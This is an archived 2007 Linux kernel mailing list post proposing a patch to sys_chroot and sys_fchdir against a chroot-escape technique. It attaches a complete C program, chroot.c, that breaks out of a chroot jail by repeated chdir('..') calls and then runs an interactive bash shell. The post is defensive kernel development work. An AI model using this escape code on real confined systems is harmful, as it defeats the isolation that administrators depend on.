All of lore.kernel.org
 help / color / mirror / Atom feed
From: majkls <majkls@prepere.com>
To: bunk@fs.tum.de
Cc: linux-kernel@vger.kernel.org
Subject: sys_chroot+sys_fchdir Fix
Date: Wed, 19 Sep 2007 09:19:50 +0200	[thread overview]
Message-ID: <46F0CD96.9030807@prepere.com> (raw)

[-- Attachment #1: Type: text/plain, Size: 299 bytes --]

Hello,
here is an fix to an exploit (obtained somewhere in internet). This 
exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible 
(with sufficient filedescriptor (if there is na directory fd opened in 
root) workaround chroot with sys_fchdir. This patch fixes it.

Miloslav Semler

[-- Attachment #2: sys_chroot+sys_fchdir.patch --]
[-- Type: text/x-diff, Size: 3265 bytes --]

diff -Nrp linux-2.6.16.53/fs/namei.c linux-2.6.16.53-new/fs/namei.c
*** linux-2.6.16.53/fs/namei.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/namei.c	2007-09-15 16:13:50.000000000 +0200
*************** static __always_inline void follow_dotdo
*** 728,733 ****
--- 728,772 ----
  	}
  	follow_mount(&nd->mnt, &nd->dentry);
  }
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,
+ 		struct vfsmount *rootmnt, struct dentry *root)
+ {
+ 	struct nameidata oldentry, newentry;
+ 	long ret = 1;
+ 	
+         read_lock(&current->fs->lock);
+ 	oldentry.dentry = dget(wdentry);
+ 	oldentry.mnt = mntget(wdmnt);
+         read_unlock(&current->fs->lock);
+ 	newentry.dentry = oldentry.dentry;
+ 	newentry.mnt = oldentry.mnt;
+ 	
+ 	follow_dotdot(&newentry);
+ 	/* check it */
+ 	if(newentry.dentry == root && 
+ 		newentry.mnt == rootmnt){
+ 		ret = 0;
+ 		goto out;
+ 	}
+ 	
+ 	while(oldentry.mnt != newentry.mnt ||
+ 		oldentry.dentry != newentry.dentry){
+ 		
+ 		memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ 		follow_dotdot(&newentry);
+ 		
+ 		/* check it */
+ 		if(newentry.dentry == root && 
+ 			newentry.mnt == rootmnt){
+ 			ret = 0;
+ 			goto out;
+ 		}
+ 	}
+ out:
+ 	dput(newentry.dentry);
+ 	mntput(newentry.mnt);
+ 	return ret;
+ }
  
  /*
   *  It's more convoluted than I'd like it to be, but... it's still fairly
diff -Nrp linux-2.6.16.53/fs/open.c linux-2.6.16.53-new/fs/open.c
*** linux-2.6.16.53/fs/open.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/open.c	2007-09-15 16:14:52.000000000 +0200
*************** dput_and_out:
*** 560,565 ****
--- 560,567 ----
  out:
  	return error;
  }
+ long directory_is_out(struct vfsmount *, struct dentry*, 
+ 		struct vfsmount *, struct dentry *);
  
  asmlinkage long sys_fchdir(unsigned int fd)
  {
*************** asmlinkage long sys_fchdir(unsigned int 
*** 581,586 ****
--- 583,591 ----
  	error = -ENOTDIR;
  	if (!S_ISDIR(inode->i_mode))
  		goto out_putf;
+ 	if (directory_is_out(mnt, dentry, current->fs->rootmnt, 
+ 				current->fs->root))
+ 		goto out_putf;
  
  	error = file_permission(file, MAY_EXEC);
  	if (!error)
*************** out:
*** 594,600 ****
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
--- 599,605 ----
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error, set_wd = 0;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
*************** asmlinkage long sys_chroot(const char __
*** 607,615 ****
--- 612,631 ----
  	error = -EPERM;
  	if (!capable(CAP_SYS_CHROOT))
  		goto dput_and_out;
+ 	error = -ENOTDIR;
+ 	/*
+ 	if (directory_is_out(nd.mnt, nd.dentry, current->fs->rootmnt,
+ 				current->fs->root))
+ 		goto dput_and_out;
+ 		*/
+ 	set_wd = directory_is_out(current->fs->pwdmnt, current->fs->pwd, 
+ 				nd.mnt, nd.dentry);
  
  	set_fs_root(current->fs, nd.mnt, nd.dentry);
  	set_fs_altroot();
+ 	/* if wd is out, reset it to . */
+ 	if(set_wd)
+ 		set_fs_pwd(current->fs, nd.mnt, nd.dentry);
  	error = 0;
  dput_and_out:
  	path_release(&nd);

[-- Attachment #3: chroot.c --]
[-- Type: text/x-csrc, Size: 4107 bytes --]

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>  
#include <fcntl.h>  
#include <string.h>  
#include <unistd.h>  
#include <sys/stat.h>  
#include <sys/types.h>  
  	    
  	 /*  
  	 ** You should set NEED_FCHDIR to 1 if the chroot() on your  
  	 ** system changes the working directory of the calling  
  	 ** process to the same directory as the process was chroot()ed  
  	 ** to.  
  	 **  
  	 ** It is known that you do not need to set this value if you  
  	 ** running on Solaris 2.7 and below.  
  	 **  
  	 */  
  	 /*#define NEED_FCHDIR 0*/
  	    
  	 #define TEMP_DIR "waterbuffalo"  
  	    
  	 /* Break out of a chroot() environment in C */  
  	    
  	 int main() {  
  	   int x;            /* Used to move up a directory tree */  
  	   int done=0;       /* Are we done yet ? */  
  	 #ifdef NEED_FCHDIR  
  	   int dir_fd;       /* File descriptor to directory */  
  	 #endif  
  	   struct stat sbuf; /* The stat() buffer */  
  	   puts("chroot()");
	   chroot(".");  
  	  /* chdir("/");
	  setuid(65534); */
  	 /*  
  	 ** First we create the temporary directory if it doesn't exist  
  	 */  
  	 
	   if (stat(TEMP_DIR,&sbuf)<0) {  
  	     if (errno==ENOENT) {  
  	       if (mkdir(TEMP_DIR,0755)<0) {  
  	         fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,  
  	                 strerror(errno));  
  	         exit(1);  
  	       }  
  	     } else {  
  	       fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,  
  	               strerror(errno));  
  	       exit(1);  
  	     }  
  	   } else if (!S_ISDIR(sbuf.st_mode)) {  
  	     fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);  
  	     exit(1);  
  	   }  
  	  
  	 #ifdef NEED_FCHDIR  
  	 /*  
  	 ** Now we open the current working directory  
  	 **  
  	 ** Note: Only required if chroot() changes the calling program's  
  	 **       working directory to the directory given to chroot().  
  	 **  
  	 */  
  	   if ((dir_fd=open(".",O_RDONLY))<0) {  
  	     fprintf(stderr,"Failed to open \".\" for reading - %s\n",  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	 #endif  
  	    
  	 /*  
  	 ** Next we chroot() to the temporary directory  
  	 */  
  	   if (chroot(TEMP_DIR)<0) {  
  	     fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	    
  	 #ifdef NEED_FCHDIR  
  	 /*  
  	 ** Partially break out of the chroot by doing an fchdir()  
  	 **  
  	 ** This only partially breaks out of the chroot() since whilst  
  	 ** our current working directory is outside of the chroot() jail,  
  	 ** our root directory is still within it. Thus anything which refers  
  	 ** to "/" will refer to files under the chroot() point.  
  	 **  
  	 ** Note: Only required if chroot() changes the calling program's  
  	 **       working directory to the directory given to chroot().  
  	 **  
  	 */  
  	   if (fchdir(dir_fd)<0) {  
  	     fprintf(stderr,"Failed to fchdir - %s\n",  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	   close(dir_fd);  
  	 #endif  
  	    
  	 /*  
  	 ** Completely break out of the chroot by recursing up the directory  
  	 ** tree and doing a chroot to the current working directory (which will  
  	 ** be the real "/" at that point). We just do a chdir("..") lots of  
  	 ** times (1024 times for luck :). If we hit the real root directory before  
  	 ** we have finished the loop below it doesn't matter as .. in the root  
  	 ** directory is the same as . in the root.  
  	 **  
  	 ** We do the final break out by doing a chroot(".") which sets the root  
  	 ** directory to the current working directory - at this point the real  
  	 ** root directory.  
  	 */  
  	   for(x=0;x<1024;x++) {  
  	     chdir("..");  
  	   }  
  	   chroot(".");  
  	    
  	 /*  
  	 ** We're finally out - so exec a shell in interactive mode  
  	 */  
  	   if (execl("/bin/bash","-i",NULL)<0) {  
  	     fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  
  	     exit(1);  
  	   }  
  	 }  

             reply	other threads:[~2007-09-19  7:59 UTC|newest]

Thread overview: 50+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2007-09-19  7:19 majkls [this message]
2007-09-19  9:40 ` sys_chroot+sys_fchdir Fix Alan Cox
2007-09-19 18:27   ` Bill Davidsen
2007-09-19 18:45     ` Alan Cox
2007-09-19 22:24       ` David Newall
2007-09-21 17:39         ` Phillip Susi
2007-09-21 18:10           ` Alan Cox
2007-09-25 20:53             ` Phillip Susi
2007-09-26  0:23               ` Al Viro
2007-09-26 10:34                 ` David Newall
2007-09-26 11:21                   ` Alan Cox
2007-09-26 11:22                     ` David Newall
2007-09-26 11:38                       ` Alan Cox
2007-09-26 11:56                         ` David Newall
2007-09-26 14:10                           ` Alan Cox
2007-09-26 15:03                             ` Chris Adams
2007-09-26 16:54                             ` David Newall
2007-09-26 17:04                               ` Alan Cox
2007-09-26 17:18                                 ` David Newall
2007-09-26 17:29                                   ` Alan Cox
2007-09-26 17:28                                     ` David Newall
2007-09-26 18:40                   ` Al Viro
2007-09-26 19:24                   ` Christer Weinigel
2007-09-26 21:19                     ` David Newall
2007-09-26 21:55                       ` Adrian Bunk
2007-09-26 23:35                         ` David Newall
2007-09-27  0:01                           ` Adrian Bunk
2007-09-27  3:59                             ` Al Viro
2007-09-27  6:42                             ` David Newall
2007-09-27  6:53                               ` Adrian Bunk
2007-09-27  7:28                       ` Christer Weinigel
2007-09-27 11:23                         ` Theodore Tso
2007-09-27 14:36                           ` Bill Davidsen
2007-09-28  1:06                             ` David Newall
     [not found] <952DN-83o-31@gated-at.bofh.it>
     [not found] ` <954cl-29C-3@gated-at.bofh.it>
     [not found]   ` <95ctn-74b-15@gated-at.bofh.it>
     [not found]     ` <95cMH-7um-19@gated-at.bofh.it>
     [not found]       ` <95gdA-4OZ-7@gated-at.bofh.it>
2007-09-20 11:13         ` Bodo Eggert
2007-09-20 11:59           ` Philipp Marek
2007-09-20 12:52             ` majkls
2007-09-20 16:06             ` David Newall
2007-09-20 16:17               ` Philipp Marek
2007-09-20 18:02                 ` David Newall
2007-09-20 20:53                   ` Bill Davidsen
2007-09-21  8:29                     ` David Newall
2007-09-24 21:32                       ` Serge E. Hallyn
2007-09-24 22:04                         ` David Newall
2007-09-24 23:00                           ` Serge E. Hallyn
2007-09-25  7:45                             ` David Newall
2007-09-25 11:49                               ` Serge E. Hallyn
2007-09-25 13:58                                 ` David Newall
2007-09-24 23:02                           ` Serge E. Hallyn
     [not found]         ` <95UE2-1oR-19@gated-at.bofh.it>
     [not found]           ` <95V72-2ly-17@gated-at.bofh.it>
     [not found]             ` <97pG8-3B5-47@gated-at.bofh.it>
     [not found]               ` <97sX2-p1-3@gated-at.bofh.it>
2007-09-26  9:38                 ` Nick Craig-Wood
     [not found] <fa.1U6+49SWHSlhuK5/3PBckFWAbXU@ifi.uio.no>
     [not found] ` <fa.WASh5K8oOF4DAq3sSYtIlWNCdWQ@ifi.uio.no>
     [not found]   ` <fa.X6MeYG+PmN8/e5zfGij80quLaws@ifi.uio.no>
     [not found]     ` <fa./eIdqiAY0Mx9xHl6ESobHaLKJBM@ifi.uio.no>

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=46F0CD96.9030807@prepere.com \
    --to=majkls@prepere.com \
    --cc=bunk@fs.tum.de \
    --cc=linux-kernel@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.